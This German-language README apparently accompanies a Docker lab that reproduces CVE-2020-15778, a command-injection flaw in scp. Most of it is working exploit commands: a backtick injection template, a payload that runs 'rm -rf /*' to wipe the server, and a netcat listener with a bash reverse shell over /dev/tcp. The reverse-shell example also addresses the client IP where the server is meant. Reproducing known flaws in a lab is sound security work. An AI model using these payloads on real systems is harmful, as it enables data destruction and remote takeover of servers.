CVE-2020-15778

Einleitung

Dieses Repository reproduziert CVE-2020-15778.

Schritte

1. Erstellen Sie die Docker-Images für den SCP-Server und -Client

cd client
docker build -t client-cve .

cd server
docker build -t server-cve .

2. Starten Sie den SCP-Server im Container.

docker run -d -P --name scp-server server-cve

Rufen Sie die interne IP-Adresse des SCP-Servers ab mit

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server

3. Führen Sie den Client im Container aus.

docker run --name scp-client -i -t client-cve

4. Injizieren Sie Ihren eigenen Shell-Befehl in den SCP-Server, indem Sie den SCP-Befehl im Client ausführen.

Führen Sie im Client-Terminal Folgendes aus:

scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'

Das Passwort ist "PASSWORD".

Beispiele

Hier sind einige Beispiele für diesen Exploit.

1. Löschen Sie alles auf dem Server, um ihn zum Absturz zu bringen.

scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'

2. Spiegeln Sie die Bash des SCP-Servers in den Client (ähnlich wie SSH).

Hören Sie auf einem Port auf dem Client-Rechner.

nc -lvvp 8080

Verwenden Sie SCP, um den Server zu zwingen, die interaktive Bash in den Client-Rechner zu übertragen.

scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'

Die IP-Adresse des Clients kann abgerufen werden mit

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client